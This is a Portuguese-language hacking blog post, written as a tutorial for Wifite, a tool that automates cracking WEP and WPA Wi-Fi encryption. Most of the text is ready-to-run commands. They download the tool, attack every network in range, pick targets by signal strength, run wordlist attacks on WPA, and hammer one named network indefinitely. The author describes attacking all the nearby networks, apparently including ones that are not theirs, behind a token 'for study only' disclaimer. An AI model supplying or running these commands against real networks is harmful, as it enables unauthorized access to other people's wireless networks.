:::..Brecha_hacKER..:::

Todas as redes wi-fi que conhecemos ou acessamos utilizam WPA ou WEP para criptografar o seu acesso, é chover no molhado em afirmar que WPA é n vezes mais seguro que WEP, mas não é 100% seguro.

A ferramenta Wifite foi desenvolvida para automatizar e realizar ataques múltiplos a redes Wi-fi que utilizam uma das criptografias citadas, e na minha opinião é uma das melhores ferramentas já desenvolvidos até então. Ela só roda em mundo Linux e foi inclusa na distribuição de segurança BackTrack 4 RC1
O que mais chamou a atenção foi a capacidade de realizar ataques múltiplos em múltiplas redes que utilizam WEP ou WPA, fantástico.
Vamo lá?
donwload da versão
wget -O wifite.py http://wifite.googlecode.com/svn/trunk/wifite.py




Dando permissão
chmod +x wifite.py



Executando programa
python wifite.py

ou vc pode consultar a ajuda dos comandos
./wifite.py -help



Agora a partir daki vai depender do sinal
e a intensidade das redes proximo a vc
algumas redes aki que vou postar n foram quebradas devido a distancia de sinal lembrando que o tutorial é somente para estudos a TSH nao responsabiliza por nada



vc pode utilizar a parte grafica selecionando da maneira que quiser





note que ele esta atacando todas as redes...
vc pode ir pela parte grafica ou pelos comandos que eu acho ate melhor.

ex: para cracker todas as redes wep

./wifite.py -all -nowpa





note as tentativas que deram falhas devido a distancia...
Filtrar tbm para quebrar todos os pontos de acesso WEP com um sinal maior (ou igual) 45dB:
./wifite.py -p 45 -nowpa

pode ser menos ou mais ao seu criterio
aki fiz o teste com mais de oitenta para ver se pegava as redes que deram erro



Para filtrar quebrar por wpa com word list

./wifite.py -all --dict /pentest/passwords/wordlists/darkc0de.lst





embrando caso queria pular a rede
o qual o wifite esta atacando
basta apertar CTRL C na shel
vai perguntar se quer sair do progrmar ou continuar
vc so digita N que continua E sai do programa





observe que eu parei de atacar uma rede e pulei pra outra

Para filtrar o ataque wpa para n utilizar wordlist

/wifite.py -all -nowpa --dict none



Para filtrar e quebrar todos os pontos de acesso WEP em relação ao sinal tempo e quantidade de pacote enviados Ex:

maior que 50dB em força, dar 15 minutos para cada método de ataque WEP, e enviar pacotes de 600 pacotes / seg:
./wifite.py --power 50 -wepw 15 -pps 600



Para tentar invadir uma rede criptografada com wep com ataque indefindamente sem parar ate que a chave seja quebrado ou interrompido pelo usuario
./wifite.py -e "nomedarede" -wepw 0
.Lembrando que alguns ataques pode demorar segundos minutos horas dias e ate meses